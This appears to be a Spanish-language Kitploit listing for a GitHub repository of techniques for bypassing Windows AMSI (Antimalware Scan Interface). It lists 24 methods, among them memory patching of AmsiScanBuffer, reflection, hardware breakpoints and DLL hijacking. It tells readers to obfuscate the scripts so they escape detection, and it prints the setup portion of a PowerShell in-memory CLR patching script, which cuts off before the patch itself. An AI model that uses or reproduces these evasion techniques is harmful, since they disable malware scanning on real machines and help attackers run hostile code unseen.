Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Amsi-Bypass-Powershell — Este repositorio contiene algunos métodos de bypass de AMSI que encontré en diferentes publicaciones de blog. | Kitploit
Herramientas/GitHubGitHub/s3cur3th1ssh1t/amsi-bypass-powershell
Herramientas DefensivasExplotaciónEvasión de IDS/IPSRed TeamingDesarrollo de Payloads
GitHubs3cur3th1ssh1t/amsi-bypass-powershell

Amsi-Bypass-Powershell

Este repositorio contiene algunos métodos de bypass de AMSI que encontré en diferentes publicaciones de blog.

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
2.2k33368hace 1 añoRevisado por Kitploit
Compartir

Patrocinado por

     

Amsi-Bypass-Powershell

Este repositorio contiene algunos métodos de bypass/evasión de Antimalware Scan Interface (AMSI) que encontré en diferentes publicaciones de blogs.

La mayoría de los scripts son detectados por el propio AMSI. Por lo tanto, debes encontrar el trigger y cambiar la firma en la parte mediante renombrado de variables/funciones, reemplazo de cadenas o codificación y decodificación en tiempo de ejecución. Alternativamente, ofuscarlos a través de ISESteroids y/o Invoke-Obfuscation para que funcionen. También puedes echar un vistazo a mi publicación en el blog sobre cómo cambiar manualmente la firma para obtener un bypass válido nuevamente.

  1. Parchear AmsiScanBuffer en clr.dll
  2. ScriptBlock Smuggling
  3. Cambio de ScanContent mediante Reflection
  4. Usar puntos de interrupción de hardware
  5. Usar hooking de CLR
  6. Parchear la DLL del proveedor de Microsoft MpOav.dll
  7. Intercepción de escaneo y parcheo de funciones del proveedor
  8. Parcheo de AMSI AmsiScanBuffer por rasta-mouse
  9. Parcheo de AMSI AmsiOpenSession
  10. No usar net webclient - este ya no funciona
  11. Parche de Amsi ScanBuffer de -> https://www.contextis.com/de/blog/amsi-bypass
  12. Forzar un error
  13. Deshabilitar el registro de scripts
  14. Parche de búfer de Amsi - En memoria
  15. Igual que 6 pero con bytes enteros en lugar de Base64
  16. Usar el método de Reflection de Matt Graeber
  17. Usar el método de Reflection de Matt Graeber con bypass de autologging de WMF5
  18. Usar el segundo método de Reflection de Matt Graeber
  19. Usar el método de secuestro de DLL de Cornelis de Plaa
  20. Usar PowerShell versión 2 - No tiene soporte AMSI
  21. Nishang todo en uno
  22. Parche de Adam Chester
  23. Versión modificada de 3. Amsi ScanBuffer - sin compilación con CSC.exe
  24. Parchear la dirección de AmsiScanBuffer en System.Management.Automation.dll

Parcheo de CLR

  • Explicado aquí Modificar la DLL de CLR en memoria```powershell

Define Constants

$PAGE_READONLY = 0x02 $PAGE_READWRITE = 0x04 $PAGE_EXECUTE_READWRITE = 0x40 $PAGE_EXECUTE_READ = 0x20 $PAGE_GUARD = 0x100 $MEM_COMMIT = 0x1000 $MAX_PATH = 260

Helper functions

function IsReadable { param ($protect, $state) return ((($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or ($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or ($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or ($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD -and ($state -band $MEM_COMMIT) -eq $MEM_COMMIT) }

function PatternMatch { param ($buffer, $pattern, $index) for ($i = 0; $i -lt $pattern.Length; $i++) { if ($buffer[$index + $i] -ne $pattern[$i]) { return $false } } return $true }

if ($PSVersionTable.PSVersion.Major -gt 2) { # Create module builder $DynAssembly = New-Object System.Reflection.AssemblyName("Win32") $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False)

# Define structs
$TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
[void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("AllocationProtect", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("RegionSize", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public)
$MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType()

# Define structs
$TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
[void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwPageSize", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("lpMinimumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("lpMaximumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwActiveProcessorMask", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwNumberOfProcessors", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwProcessorType", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwAllocationGranularity", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("wProcessorLevel", [UInt16], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public)
$SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType()
Descargar herramienta